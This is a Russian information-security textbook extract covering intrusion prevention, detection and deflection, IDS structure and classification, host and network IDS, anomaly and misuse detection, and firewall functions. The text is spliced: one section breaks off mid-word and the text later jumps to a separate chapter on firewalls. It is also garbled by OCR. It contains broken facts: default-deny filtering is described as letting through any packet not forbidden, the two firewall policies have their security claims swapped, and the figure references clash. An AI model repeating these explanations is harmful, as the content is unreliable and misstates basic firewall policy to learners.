Предотвращение (prevention) вторжений - это проактивная защита, препятст вующая или существенно затрудняющая успех отдельного вторжения, уже известно го или пока еще неизвестного, осуществляемого изнутри или извне сети. Этот метод, который может рассматриваться как самый сильный среди остальных методов отра жения вторжений, в настоящее время находится в центре исследований и создания конкретных реализации, поскольку в нем пассивный мониторинг трафика и событий существенного расширен активными действиями со стороны специализированных систем предотвращения вторжений (СПВ) (Intrusion Prevention System, IPS) (об этих системах говорится в п. 6.12). В идеале такой подход предотвращает все атаки, уст раняя необходимость в обнаружении и последующем реагировании на атаки. Но пока маловероятно, что он на 100% устойчив к ошибкам, поскольку нельзя полностью учесть все используемые злоумышленниками дефекты и тонкости конфигурирова ния/сопровождения всех систем. При его применении все же существует возмож ность успешного нападения, если СПВ будет занята в момент его осуществления чем-то другим.
Реализованные на практике методы предотвращения вторжений должны гаранти ровать, что интранет настолько хорошо спроектирован, реализован, сконфигурирован и работает, что возможность вторжений снижена до минимума.
6.1.2. Прерывание вторжения
Прерывание (preemption) вторжения активно борется с уже выявленными (при обнаружении предварительных знаков опасности надвигающегося нежелательного действия), но еще пока развивающимися вторжениями и не дает им успешно завер шиться. Тогда как обнаружение и противодействие обязательно означают ответную реакцию и устранение явных последствий атаки, прерывание также подразумевает и действенные меры против самого источника атаки, пока он еще не закончил вторже ние. Этот подход может включать и такие меры, как обучение пользователей, разра ботку и совершенствование законодательства, помогающего устранять способст вующую атакам среду, ранние действия против пользователя, постоянно пытающего ся отойти от разрешенных норм поведения, и, возможно, проникновение в среду злоумышленников для изучения их методов и мотивации действий. Так, например, «бдительность с изгнанием» (Banishment Vigilance) включает попытки различать «плохие» намерения и типичные начальные стадии исследования систем, предшест вующие атакам, реализацию действенных и опережающих мер против пользователей, демонстрирующих склонность к нарушению политики ИБ, а также предложения по премированию пользователей, которые обнаружат уязвимости или несанкциониро ванное использование систем.
Но у данного метода есть и недостатки - иногда его применение может отразить ся на прерывании вполне «невинных» процессов, например, вызванных появлением нового пользователя системы с нетипичным поведением.
6.1.3. Сдерживание вторжения
Сдерживание или затруднение (deterrence) вторжения пытается воздвигнуть любую возможную преграду на пути злоумышленника и дает системному админист ратору время для быстрого разворачивания дополнительной защиты (посредством усиления необходимых защитных действий) от уже развивающегося, но пока успеш но не закончившегося вторжения или попытки продолжения вторжения, а также де вальвированию для злоумышленника ожидаемой выгоды от успешной атаки на вы бранные в качестве жертвы системы. Сдерживание вторжения вдохновляет напа дающего заняться другой системой, более простой и перспективной для взлома. Этот подход включает «обесценивание» в глазах злоумышленника привлекательной для него системы посредством камуфляжа или сведения до минимума рекламы о системе и ее функциях, а также увеличение риска быть схваченным посредством высвечива ния различных предупреждений, усиления видимости постоянного активного кон троля и возведения препятствий против нежелательного использования.
6.1.4. Отклонение вторжения
Отклонение (deflection) вторжения заставляет злоумышленника поверить, что он преуспел в попытке вторжения и уже получил доступ к ресурсам системы-жертвы, хотя на самом деле он был обнаружен или помещен в специально созданную контро лируемую для наблюдения замкнутую среду («песочницу» или «аквариум») без ре ального доступа к работающей системе и вред от его атаки будет минимален. Данное эмулированное окружение заполняется представляющими интерес данными, разра ботанными для того, чтобы убедить атакующего, будто атака продолжается по его плану. Оно имеет уникальные возможности для мониторинга действий атакующего.
6.1.5. Обнаружение вторжений
Обнаружение (detection) вторжений - это процесс непрерывного активного контроля состояния ОИС (ключевых параметров «здоровья» системы) и выявления и оценки подозрительных (несоответствующих, неправильных или аномальных) собы тий/действий, происходящих в ней, отличающий попытки вторжений и подготовку вторжений от нормальных событий/действий и следящий за допустимым (в соответ ствии с установленной политикой ИБ) использованием полномочий пользователей, а также в случае необходимости оповещающий об этом службы безопасности через соответствующие средства.
6.1.6. Устранение последствий в торжения
Устарение последствий или противодействие (countermeasures) вторжени ям- активная и автономная деятельность по ликвидации последствий вторжения, поскольку оно уже состоялось или была выявлена атака. Этот подход преодолевает ограниченность механизмов ОВ, которые должны полагаться на постоянное внима ние со стороны службы безопасности. Большинство вычислительных сред не имеют ресурсов для постоянного (24 часа в день, 7 дней в неделю) оповещения этой службы о результатах полного контроля за ОВ. Кроме того, служба, состоящая из людей, не способна реагировать с быстротой компьютера на автоматизированную атаку. На пример, атака IP-spoofing, приписываемая Кевину Митнику, была хорошо автомати зирована и закончилась менее, чем за 8 мин [80]. Есть атаки, которые осуществляют ся еще быстрее - всего за несколько секунд.
6.2. Основы построения систем обнаружения вторжений
6.2.1. Структура систем обнаружения вторжений
СОВ динамично следят за всеми событиями/действиями, происходящими в кон тролируемой среде, и решают, имеют ли эти события/действия признаки атак или со ответствуют законному использованию среды.
СОВ могут быть локальными (local) и распределенными (distributed). Структуру локальных систем (рис. 128) можно описать как совокупность следующих единиц:
1) модулей слежения, состоящих из управляемых из единого центра агентов (де текторов, датчиков, сенсоров) (или в вырожденном случае одного детектора), осуще ствляющих первичный сбор информации, поступающую из контролируемой среды для анализа; в зависимости от класса СОВ агенты могут размещаться на рабочих станциях, серверах, защищать какой-либо сегмент сети или всю сеть целиком; на этом уровне может выполняться первичная фильтрация данных с целью уменьшения их объема для проведения дальнейшего, более тщательного анализа;
2) модуля сбора информации для анализа, который приводит ее к единому форма ту, возможно, осуществляет дальнейшую фильтрацию, сохраняет в базе данных и на правляет для анализа соответствующему модулю;
3) анализатора - модуля анализа собранной информации, предназначенного для . выявления атак и подозрительных событий/действий;
4) модуля управления, позволяющего конфигурировать СОВ, наблюдать за со стоянием защищаемой системы и СОВ, просматривать выявленные подсистемой анализа инциденты и реагировать на атаки;
5) модуля управления обновлениями;
6) базы результатов анализа, включая хранилище собранной информации;
7) базы используемых системой методов ОВ;
8) базы атак, т. е. их признаков на соответствующем формализованном языке;
9) модуля генерации отчетов;
10) интерфейса пользователя;
11) других дополнительных компонентов, включая те, которые позволят провести мониторинг работы самой СОВ.
Распределенная СОВ означает организацию иерархических связей между не сколькими локальными СОВ/агентами, установленными в различных сегментах ин-транета, для обобщения результатов анализа и получения целостной картины проис ходящего. На одном уровне иерархии располагаются компоненты, анализирующие подозрительную активность с разных точек зрения. Иногда у локальной СОВ/агента недостаточно оснований для подъема тревоги, но по совокупности (корреляции) по дозрительные события/действия могут быть объединены и совместно проанализиро ваны, после чего «порог» подозрительности окажется превышенным. Так, можно вы явить скоординированные атаки на разные участки ОИС и оценить ущерб в масштабе организации. Например, для одного сегмента сети на хостах могут располагаться подсистемы анализа поведения пользователей и приложений, а на уровне сети может работать подсистема анализа сетевой активности.
В реальности СОВ - это больше, чем несколько агентов, развернутых в интранете. Нужна сообщающаяся система, которая позволяет собирать информацию от агентов на центральной консоли. Нужна система, хранящая эту информацию для более позд него анализа, и средства, чтобы такой анализ проводить. Нужны средства, постоянно контролирующие работу агентов и мгновенно реагирующие в случае тревоги. И, что очень важно, нужна группа опытных экспертов в области ИБ, которые знают, как ис пользовать все эти средства для всесторонней защиты от постоянно растущих угроз и адекватно реагировать в случае обнаружения атак. Человек, ответственный за управ ление СОВ, должен быть системным администратором-профессионалом, хорошо знакомым с программно-аппаратным обеспечением хостов, сетевыми соединениями, пользователями и их привычками, а также всем установленным на компьютерах ПО. Это не означает, что он должен быть экспертом по ПО. Скорее он должен чувство вать, что нужно каждому компьютеру для его работы и какие программы для него подходят лучше всего. Многие атаки обнаруживались именно внимательными сис темными администраторами, заметившими что-то нетипичное в работе компьюте ров/пользователей, «изменивших» на время свой стиль поведения. Следовательно, обслуживание интранета должно объединять работу СОВ в реальном режиме време ни, круглосуточный текущий контроль обученным персоналом и группу экспертов, реагирующих на инциденты ИБ [69].
Упрощенная схема работы СОВ представлена на рис. 129. Толщина стрелок на рисунке показывает объемы информации, передающейся между различными компо нентами СОВ).
Из рис. 127 видно, что агенты в своей работе используют 3 типа информации:
■ долгосрочную информацию, относящуюся к методу ОВ (например, базу знаний об атаках);
■ конфигурационную информацию о текущем состоянии СОВ;
■ отобранную из всех данных мониторинга информацию, описывающую происхо дящие в системе подозрительные события/действия.
Чтобы улучшить защиту агентов СОВ, можно создать отдельную сеть управле ния, используемую только для связи между агентами СОВ, централизованным бло ком сбора данных от агентов и пультами администраторов. В такой модели каждый агент СОВ имеет не менее двух сетевых интерфейсных карт (NIC). Одна из карт за нимается анализом пакетов контролируемого сегмента интранета. Вторая, наоборот, передает полученный СОВ трафик в сеть управления. Такая архитектура затрудняет злоумышленнику нахождение агентов СОВ и определение их связей. Отдельная сеть также решает проблемы, связанные с прохождением данных от агентов через МЭ и незашифрованные общественные сети.
6.2.2. Классификация систем обнаружения вторжений
Для того чтобы провести классификацию СОВ, учитываются несколько факторов (рис. 130 [81]).
Метод обнаружения описывает характеристики функционирования агента. Когда СОВ использует информацию о нормальном поведении контролируемой системы, она называется поведенческой (behaviour-based) или СОВ, выявляющей аномалии (anomaly). Когда СОВ работает с информацией об атаках, она называется интеллек туальной (knowledge-based) или СОВ, выявляющей злоупотребления (misuse) (эти 2 типа СОВ будут подробно рассмотрены далее).
Поведение после обнаружения (способ реагирования) указывает на реакцию СОВ на атаки. Реакция может быть активной (reactive) - СОВ предпринимает корректи рующие (устраняет лазейки) или действительно активные (закрывает доступ для воз можных нарушителей, делая недоступными сервисы) действия. Если СОВ только выдает предупреждения (сигнал тревоги), ее называют пассивной (passive). Пассив ных СОВ большинство - они выявляют атаки, генерируют предупреждения и не предпринимают никаких контрмер против нарушителей. Активные действия вклю чают немедленный разрыв соединения, блокирование трафика от хоста нарушителя, переконфигурирование маршрутизаторов и МЭ, восстановление системы с быстрым возвратом к предыдущему состоянию и т. п.
Расположение источника анализа (способ сбора информации) подразделяет СОВ в зависимости от вида исходной информации, которую они анализируют. Входными данными для них могут быть системные регистрационные файлы или сетевые паке ты. Различают ОВ на уровне хоста и на уровне сети. Его выполняют системные (host-based) и сетевые (network-based) СОВ соответственно (они подробно рассмот рены в следующем пункте). Классификационным признаком в данном случае служит не столько место установки СОВ, сколько объект, который система контролирует в процессе своей работы. Системные СОВ осуществляют мониторинг ОС и приклад ных программ, тогда как сетевые СОВ проводят мониторинг сетевого трафика. Хотя эти 2 класса систем позволяют полностью покрыть множество классификационных признаков, они не являются полностью непересекающимися.
По методу ОВ и способу сбора информации СОВ могут сочетать в себе свойства двух взаимодополняющих типов. Такие СОВ называются гибридными (hybrid IDS) или комплексными.
Частота использования отражает либо непрерывный мониторинг (continuous monitoring) контролируемой системы со стороны СОВ, либо соответствует разовым запускам СОВ для проведения периодического анализа (periodic analysis). Отсюда и важное различие в своевременности реагирования. Тревога в реальном масштабе времени - это реакция и устранение результатов атаки при еще не отзвучавшем до конца сигнале тревоги.
ОВ при непрерывном мониторинге может происходить как в реальном масштабе времени (online analysis), так и путем чтения журналов регистрации уже произошед ших событий, осуществляя так называемый отложенный, или автономный, анализ (offline analysis). Первые СОВ фиксировали нажатия клавиш, которые сохранялись на локальном жестком диске и затем ночью передавались на центральную консоль для обработки на следующий день. Это работало, но было не оперативно и не соответст вовало требованиям работы в реальном режиме времени. Современные СОВ исполь зуются интеллектуальных агентов, которые собирают только ту информацию и паке ты, которые могут содержать возможные нарушения защиты. Поэтому различают статические и динамические СОВ. Статические средства (типа COPS для хостов и SATAN для сетей) обнаруживают следы вторжения, делая «снимки» (snapshot) среды и осуществляя их анализ, разыскивая уязвимое ПО, ошибки в конфигурациях, виру сы и т. п. Статические СОВ (типа Tripwire) проверяют версии работающих в системе приложений на наличие известных уязвимостей (что говорит об установке выпущен ных для их устранения «заплат») и слабых паролей, проверяют содержимое специ альных файлов в директориях пользователей или проверяют конфигурацию откры тых сетевых сервисов. Этот процесс повторяется систематически. Динамические СОВ реализуют анализ в реальном времени посредством получения информации о действиях, имевших место в среде сразу же после того, как они произошли. Хотя анализ данных «постфактум» также очень полезен при наличии обученного персона ла. Автономный анализ часто позволяет «сделать шаг назад», вновь рассмотреть со бытие и, возможно, «откатить» неверные изменения, сделанные в результате реаги рования. Ведь если действие не привело к ожидаемым результатам, если тревога не сработала, то нет никакой разницы между автономным анализом и анализом в реаль ном масштабе времени!
По исполнению СОВ бывают программными или програмнно-аппаратными, вы полненными в виде специализированных продуктов или интегрированных решений (security appliances).
В [82] перечисляются еще несколько типов СОВ: виртуальные, многоуровневые (multitiered), с контролем состояний (stateful), шлюзовые (gateway), основанные на спецификациях (specification-based) или даже стеке (stack-based). Но в конечном сче те все они могут по методу ОВ и источнику сбора информации отнесены к вышена званным классам.
Также обычно выделяют свободно распространяемые СОВ (типа Snort) и лицен зионные (типа продуктов фирм Cisco или ISS).
Примеры некоторых систем обнаружения и предотвращения) вторжений различ ных типов представлены в прил. 5.
6.3. Системное обнаружение вторжений
Системное ОВ означает установку части или нескольких частей ПО на систему, подлежащую постоянному контролю, или мониторингу. Установленное ПО исполь зует в качестве исходных данных для анализа файлы регистрации, файловую систе му, результаты мониторинга работы различных сетевых систем и т. п. ОВ на хостах сети по-прежнему остается мощным инструментом для анализа уже произошедших атак и определения соответствующих методов их предотвращения в будущем. Его роль несколько изменилась с тех времен, когда в компьютерном мире доминировали мэйнфреймы, особенно учитывая развитие Интернета и стремление компаний пре доставлять ряд своих услуг посредством открытых для всеобщего доступа серверов. В начале 1980-х гг., еще до того, как сети получили свое развитие, наиболее распро страненная практика ОВ заключалась в просмотре журналов регистрации на предмет наличия в них событий, свидетельствующих о подозрительной активности. Систем ное ОВ - это единственный способ собрать сведения о действиях пользователя опре деленного хоста - рабочей станции (клиента) или сервера - за счет мониторинга вхо дов в систему. Но системное ОВ означает и контроль всего входящего и исходящего трафика для одного хоста, и проверку целостности его системных файлов, и наблю дение за всеми подозрительными процессами, прослушивание активности сетевых портов и перехват системных вызовов. Также контролируются события, происходя щие при работе отдельных приложений (это application-based IDS, являющаяся под множеством host-based IDS), включая СУБД.
6.3.1. Принципы работы системных систем обнаружения вторжения
СОВ, которые устанавливаются на хосте и обнаруживают злонамеренные дейст вия или аномальные события на нем, называются системными СОВ (СиСОВ) (host-based intrusion detection systems) (иногда в публикациях можно встретить наименова ние хостовые или узловые СОВ). Некоторые СОВ данного класса имеют возмож ность управлять группой хостов - это мультисистемные СОВ (multihost IDS).
Агенты СиСОВ собирают информацию о событиях, происходящих на том хосте, где они установлены. Источниками информации могут быть работающие приложе ния, системные сервисы ОС, аппаратные ресурсы хоста и т. д. Исходная информация собирается двумя способами: опосредованно через промежуточные программные компоненты или напрямую от источника. В первом случае используются вспомога-
6.4. Сетевое обнаружение вторжений
При сетевом ОВ ведется наблюдение за пакетами в интранете при их прохожде нии через некоторые агенты (сенсоры). Агент может видеть только пакеты, проходя щие по сетевому сегменту, для которого он установлен. Пакеты проверяются на со ответствие сигнатурам, т. е. заданным признакам, при выполнении которых атака считается имеющей место, что вызывает заранее заданную реакцию.
6.4.1. Принципы работы сетевых систем обнаружения вторжения
Реализующие ОВ на сетевом уровне СОВ (Network IDS, NIDS, сетевые СОВ, ССОВ) контролируют пакеты в сетевом окружении, как правило, в реальном мас штабе времени и обнаруживают попытки злоумышленника проникнуть внутрь за щищаемой системы или реализовать, например, сканирование, зондирование и атаки «отказ в обслуживании». Эти СОВ работают с сетевыми потоками данных. Типич ный пример ССОВ - система, которая контролирует большое число TCP-запросов на соединение (SYN) со многими портам на выбранном компьютере, обнаруживая, та ким образом, что кто-то пытается осуществить сканирование TCP-портов. ССОВ может запускаться либо на отдельном компьютере, который контролирует свой соб ственный трафик, либо на выделенном компьютере, прозрачно просматривающем весь трафик в интранете (концентратор, маршрутизатор, зонд). Отметим, что ССОВ контролируют много компьютеров, тогда как СиСОВ контролируют только один (тот, на котором они установлены).
ССОВ, как правило, состоят из двух компонентов: агентов и консоли (хотя по добная клиент-серверная архитектура характерна и для современных СиСОВ). Если агенты устанавливаются в подозрительных и/или наиболее ответственных участках сети, контролируют проходящий трафик и осуществляют реагирование на события, то консоль предназначена для централизованного сбора информации, создания отче тов, а также управления логикой работы агента.
6.5. Поведенческое обнаружение вторжений
Поведенческие методы ОВ предполагают, что вторжение обнаруживается при вы явлении отклонений от нормального или ожидаемого поведения системы или поль зователя. Такое ОВ выполняет поведенческая СОВ (behavior-based IDS), или систе ма обнаружения аномалий (СОА) (anomaly IDS). Сразу отметим, что многие совре менные средства поддерживают данный подход.
Для поведенческой СОВ на основе статистической информации, собранной и об работанной различными средствами, строится профиль - модель нормального, или допустимого, поведения (поэтому такие СОВ еще называются profile-based IDS). В полученной для анализа информации СОВ выделяет отдельные факты (зарегистри рованные данные) и для выявления аномалий осуществляет сравнение наблюдаемого поведения с ожидаемыми нормальными профилями использования (т. е. «не-ата-ками»), которые могут быть разработаны для пользователей, групп пользователей, приложений, сетевых соединений, системных ресурсов и т. п. При обнаружении от клонения (например, SSH-трафика на порт 4000) генерируется сигнал тревоги. Запи си событий мониторинга, выходящие за рамки определения нормального поведения за определенное время и вызывающие подозрения, считаются аномалиями. Другими словами, все, что не соответствует предварительно изученному поведению и ожи даемому режиму работы, считается атакой. Поэтому СОВ может быть полной (атаки могут выявляться), но ее точность - вопрос сложный (можно получить ложный сиг нал тревоги).
Антивирусы, использующие метод обнаружения подозрительного поведения ПО, не пытаются идентифицировать известные вирусы. Они следят за поведением всех программ. Если программа, например, пытается записать какие-либо данные в файл, антивирус помечает его и оповещает администратора об этом, ожидая от него указа ний по дальнейшему реагированию (или реагирует сама заранее установленным об разом).
6.6. Интеллектуальное обнаружение вторжений
Интеллектуальные методы ОВ применяют знания, накопленные о специфических атаках и уязвимостях систем. Интеллектуальные СОВ (knowledge-based IDS), или системы обнаружения злоупотреблений (СОЗ) (misuse IDS) [89] содержат инфор мацию об этих уязвимостях и ищут попытки их использования (включая запуск экс-плойтов). При обнаружении такой попытки в анализируемом трафике (при этом должны контролироваться все пакеты!) поступает сигнал тревоги. При этом под зло употреблением часто понимаются действия, выполняемые в рамках имеющихся пол номочий, но нарушающие политику ИБ. Другими словами, любое действие, которое явно не описано соответствующим формальным образом, например, в виде сигнату ры {от англ. signature) и, значит, не отнесено к категории атак, считается нормаль ным за определенный период времени. Поэтому точность работы интеллектуальных СОВ считается довольно высокой. Но их полнота (факт обнаружения всех возмож ных злоупотреблений) зависит от регулярного обновления базы знаний СОЗ с дан ными об атаках.
Как СиСОВ, так и ССОВ могут реализовывать метод обнаружения злоупотребле ний в своей работе.
СОЗ осуществляет ОВ при известных шаблонах, или образцах (patterns), типич ных для сетевых атак. По существу обнаружение злоупотреблений проверяет нали чие «плохих» действий, сравнивая их с абстрактными формализованными описания ми нежелательной активности (например, вводом определенной последовательности команд или временем ввода самих команд и типичными опечатками при наборе, из вестными для всех авторизированных пользователей системы). При таком подходе составляются сигнатуры, описывающие скорее не исторически обычное, а требуемое обнаружить нежелательное использование (основываясь на прошлых взломах или действиях, которые теоретически используют известные уязвимости систем) (описа ние сигнатурных методов ОВ было дано в начале п. 6.4). Пишутся правила, распо знающие единичные регистрируемые события, которые представляют угрозу безо пасности системы, или последовательности событий, которые являются звеньями реализации сценария длящейся определенное время атаки. Эффективность состав ляемых правил обнаружения злоупотреблений зависит от того, насколько хорошо их автор (или впоследствии служба безопасности) осведомлен об уязвимостях систем. СОЗ анализируют 3 типа данных:
■ статистически накопленные (так называемые исторические) данные, которые идентифицирует «плохое» (или «хорошее») использование систем и ресурсов; сюда относятся известные атаки, их цели и методы сканирований; специфические команды, их последовательность и частота ввода; используемое ПО, включая ис пользуемые порты, запрашиваемые данные и т. п.;
■ текущее состояние/активность системы;
■ известные уязвимости систем.
2.1. Функции межсетевых экранов
Система анализа трафика с использованием системы правил и блокировки досту па (по так называемому черному списку) получила название «межсетевого экрана» [12-14], хотя до сих пор в различных публикациях можно встретить и более ранний термин - «брандмауэр» (дословный перевод Firewall - «пожарная стена»).
Возникновение идеи о создании МЭ в начале 90-х годов прошлого столетия связа но с механизмами контроля и мерами защиты, которые долго практиковались для мэйнфреймов [15]. На основе заданного набора правил, являющегося не чем иным, как практическим воплощением политики ИБ для МЭ (примеры такой ПБ приведены в прил. 4 первой части учебника или в рассматриваемом ниже проекте профиля за щиты для МЭ корпоративного уровня), они анализируют пакеты на предмет разре шенных/запрещенных адресов и сервисов (точнее, соответствующих им TCP/UDP-портов). Обычно при конфигурации системы указывают, с каких адресов, по каким портам и с какими компьютерами можно работать, а с какими нет. Типичный МЭ имеет список контроля доступа, ограничивающий или разрешающий прохождение IP-пакетов по тому или иному адресу (или целому набору адресов) и по заданным номерам портов (сервисам). Существенно, чтобы МЭ допускал максимально гибкую конфигурацию таких ограничений и разрешений и при этом не очень существенно замедлял работу сети. Таким образом МЭ регламентирует использование ресурсов одних сетей пользователями других. Для него имеют значения понятия «внутри» и «снаружи» защищаемого участка сети, т. е. МЭ обычно не является симметричным устройством. Тогда МЭ [16] - это система, позволяющая разделить сеть на две или более частей и реализовать набор правил, которые определяют условия прохождения пакетов из одной части в другую. Как правило, эта граница проводится между интра-нетом предприятия и внешней сетью, хотя ее можно провести и внутри интранета для разделения фрагментов, принадлежащих различным подразделениям организации (рис. 21).
МЭ обеспечивают несколько типов защиты - они могут:
■ блокировать нежелательный трафик;
■ направлять входной трафик только к надежным внутренним ИС;
■ скрыть уязвимые системы, которые нельзя обезопасить от атак из внешнего мира другим способом;
■ протоколировать трафик в/из внутренней сети;
■ скрывать информацию, такую как имена систем, топологию сети, типы сетевых уст ройств и внутренние идентификаторы пользователей, от внешних пользователей;
■ обеспечить более надежную аутентификацию, чем та, которую представляют стандартные приложения.
Современные МЭ используются для защиты следующих систем:
■ информационно-аналитических систем и систем автоматизации предприятий (R/3, BAAN, SCALA, «Галактика» и т. д.);
■ финансовых систем («С1», «Парус», «Галактика», Midas Cupity, Oracle Finance, R'Style, DiaSoft, ит. п.);
■ распределенных баз данных (Oracle, Informix, MS SQL, SyBase);
■ взаимодействия с партнерами по бизнесу (электронная коммерция Business to Business, В2В);
■ систем удаленного доступа работников к внутренним ресурсам через ОИС и Ин тернет в режиме реального времени из любой точки мира;
• системы корпоративной электронной почты;
■ информационных ресурсов удаленного или мобильного пользователя;
■ сегментов интранета; " интранет в целом;
■ периметра, закрывающего интранет головного офиса и его распределенных фи лиалов.
МЭ в простейшем случае состоит из двух механизмов: один ограничивает пере мещение данных; второй ему способствует (т. е. осуществляет перемещение данных). Поэтому МЭ - это последовательность фильтров (рис. 22).
В качестве критериев анализа информационного потока могут использоваться следующие параметры:
■ служебные поля пакетов сообщений, содержащие сетевые адреса, идентификато ры, адреса интерфейсов, номера портов и другие значимые данные;
■ непосредственное содержимое пакетов сообщений, проверяемое, например на на личие компьютерных вирусов;
■ внешние характеристики потока информации, например временные, частотные характеристики, объем данных и т. д.
Многокомпонентный МЭ за счет последовательности различных фильтров обес печивает 3 уровня защиты (рис. 23).
В самом общем случае МЭ должен:
■ обеспечивать безопасность внутренней (защищаемой) сети и полный контроль над внешними подключениями и сеансами связи;
■ обладать мощными и гибкими средствами управления для полного и простого во площения в жизнь политики безопасности организации;
■ обеспечивать простую реконфигурацию МЭ при изменении структуры сети;
■ работать незаметно для пользователей сети и не затруднять выполнение ими ле гальных действий;
■ работать достаточно эффективно и успевать обрабатывать весь входящий и исхо дящий трафик в «пиковых» режимах;
■ обладать свойствами самозащиты от любых НСД;
■ иметь возможность централизованно обеспечивать несколько внешних подклю чений (например, удаленных филиалов) для проведения единой политики безо пасности;
■ иметь средства авторизации доступа пользователей через внешние подключения.
Важна и возможность сбора статистики, позволяющая отслеживать потенциаль ные попытки взлома.
Обычно МЭ используется на компьютере, соединяющем интранет с глобальной сетью (это его классический вариант размещения). Такой компьютер с МЭ называют бастионом. Сам бастион открыт для доступа из глобальной сети, а ПК за бастионом уже защищены. Обычно при установке МЭ его конфигурация приводится в соответ ствие с ядром конкретной системы, так как пакеты должны быть проанализированы до того, как выйдут из TCP/IP-стека.
При конфигурировании МЭ следует выбрать стратегию защиты. Типичным явля ется «запрещено все, что не разрешено в явном виде». Эта стратегия облегчает адми нистрирование МЭ, так как от администратора не требуется никакой предваритель ной настройки. Любой сетевой пакет, пришедший на МЭ, пропускается через него, если это не запрещено правилами. Однако в случае неправильной настройки эта стратегия позволяет реализовать злоумышленнику множество атак на сеть. Можно выбрать и противоположный подход, а именно «разрешено все, что не запрещено в явном виде». Эта стратегия более безопасна, однако нагружает администратора безо пасности дополнительными задачами по предварительной настройке базы правил МЭ. Администратор безопасности должен на каждый тип разрешенного взаимодей ствия задавать правила доступа. Обычной практикой является разрешение хождения через МЭ только электронной почты. Однако часто приходится пересматривать та кую практику. Такие сервисы, как WWW, Gopher, WAIS (Wide Area Information System), требуют более гибкого подхода. Отвечая этим требованиям, можно выбрать из двух альтернатив: использовать серверы-посредники или разрешить доступ к сер вису напрямую.
Лучшие из реализаций МЭ блокируют по умолчанию всякий доступ, а затем про пускают только те пакеты, прохождение которых специально разрешено и может быть проконтролировано.
К защите самого бастиона предъявляются жесткие требования:
■ физическая защита доступа к бастиону;
■ наличие средств защиты от загрузки ОС бастиона с несанкционированного носи теля;
■ наличие средств защиты на уровне ОС бастиона, разграничивающих доступ к ре сурсам системы;
■ ОС бастиона должна запрещать привилегированный доступ к своим ресурсам из интранет;
■ ОС бастиона должна содержать средства мониторинга/аудита любых администра тивных действий;
■ на бастионе не разрешается иметь никаких разделов пользователей.
Большинство из существующих коммерческих систем МЭ предусматривает также сокрытие внутренней структуры IP-сети организации (так называемую трансляцию сетевых адресов - Network Address Translation, NAT). Механизм NAT определен в RFC 1631. Его суть состоит в замене обратного (source) адреса при прохождении па кета в одну строну и обратной замене адреса назначения (destination) в ответном па кете. Наряду с адресами source/destination могут также заменяться номера портов source/destination. Как правило, адрес системы, находящейся внутри защищаемой МЭ сети, заменяется адресом самого МЭ. Трансляция может осуществляться динамиче ски и статически. В первом случае адрес выделяется узлу в момент обращения к МЭ. После завершения соединения адрес освобождается и может быть использован лю бым другим узлом интранет. Во втором случае адрес узла всегда привязывается к од ному адресу МЭ. Если в интранет используются только частные (незарегистрирован ные) адреса и есть подключение к Интернет, тогда наличие NAT является обязатель ным требованием.
Обычный МЭ настраивается, как минимум, на 2 интерфейса: внутренний - для интранет и внешний - для Интернета или других внешних сетей, например, бизнес-партнеров организации. Кроме того, МЭ может иметь интерфейс для подключения так называемых «демилитаризованных зон» (ДМЗ) (из Web и FTP-серверов; об этих зонах подробнее будет рассказано ниже).
Итак, современные МЭ осуществляют:
■ семантическую фильтрацию циркулирующих потоков данных;
■ фильтрацию на основе сетевых адресов отправителя и получателя;
■ фильтрацию запросов на транспортном уровне на установление виртуальных со единений;
■ фильтрацию запросов на прикладном уровне к прикладным сервисам;
■ локальную сигнализацию попыток нарушения правил фильтрации;
■ запрет доступа неизвестного субъекта или субъекта, подлинность которого при аутентификации не подтвердилась, и др.;
■ обеспечение безопасности от точки до точки: МЭ, авторизация маршрута и мар шрутизатора, туннель для маршрута и криптозащита данных;
■ многопротокольную маршрутизацию (IP, IPX, AppleTalk) и прозрачный мост че рез ISDN, асинхронное и синхронное, последовательное соединение, такое как выделенная линия, Frame Relay, SMDS, Switched 56 и X.25;
■ возможность обеспечения качества услуги от точки до точки посредством прото кола резервирования ресурсов (RSVP), очереди с весами (WFQ), IP Multicast и AppleTalk Simple Multicast Routing Protocol (SMRP) для обеспечения таких при ложений, как видеоконференции, объединение данных и голоса и др.;
■ расширенный доступ к Интернету/интранету (трансляция сетевых адресов (NAT), IPeXchange шлюз IPX в IP, простота и снижение стоимости доступа к Internet и Intranet);
■ оптимизацию глобальных сетей WAN (установление соединения по требованию, предоставление полосы по требованию и OSPF (Open Shortest Path First) по требо ванию, полустатическая маршрутизация, сжатие и фильтрация).
Собственная защищенность МЭ обеспечивается теми же средствами, что и защи щенность универсальных систем: физическая защита, идентификация и аутентифи кация, разграничение доступа, контроль целостности, протоколирование и аудит.
Многие из имеющихся сегодня на рынке МЭ обладают возможностью анализиро вать передаваемый через них трафик «на лету» (включая прикладной уровень), а также учитывать дополнительные параметры (например флаги, описывающие со стояние соединений, и т. п.). К таким МЭ относятся Cisco PIX Firewall, Checkpoint Firewall, Netscreen, Watch Guard и т. п. Именно это поколение МЭ является наиболее востребованным в настоящий момент. Попутно они приобретают дополнительную функциональность - практически все они поддерживают возможность построения виртуальных частных сетей (VPN) на базе стандарта IPsec, могут интегрироваться с продуктами, обеспечивающими другие средства безопасности, например антивирус ную проверку, фильтрацию содержимого, аутентификацию и т. п.
Обычно МЭ функционируют на какой-либо Unix-платформе - чаще всего это BSDI, SunOS, AIX, IRIX и т. д., реже - DOS, VMS, Windows NT, а из аппаратных платформ Intel, Mips Rxxxx, SPARC, RS6000, Alpha, PA-RISC. Помимо Ethernet, мно гие МЭ могут работать с сетевыми стандартами FDDI, Token Ring, 100Base-T, lOOVG-AnyLan и многими другими, а также поддерживать различные последова тельные устройства. Требования к оперативной памяти и объему жесткого диска за висят от количества компьютеров в защищаемом сегменте сети, но чаще всего реко мендуется иметь не менее 32 Мб ОЗУ и 500 Мб на диске.
Как правило, в ОС, под управлением которой работает МЭ, вносятся изменения, цель которых - повышение защиты самого МЭ. Эти изменения затрагивают как ядро ОС, так и соответствующие файлы конфигурации. На самом МЭ не разрешается иметь разделов пользователей, а следовательно, возможности для взлома интранет -только раздел администратора. Некоторые МЭ работают только в однопользователь ском режиме, а многие имеют систему проверки целостности программных кодов. При этом контрольные суммы программных кодов хранятся в защищенном месте и сравниваются при старте программы во избежание подмены ПО.
2.2. Руководящий документ Гостехкомиссии России по межсетевым экранам
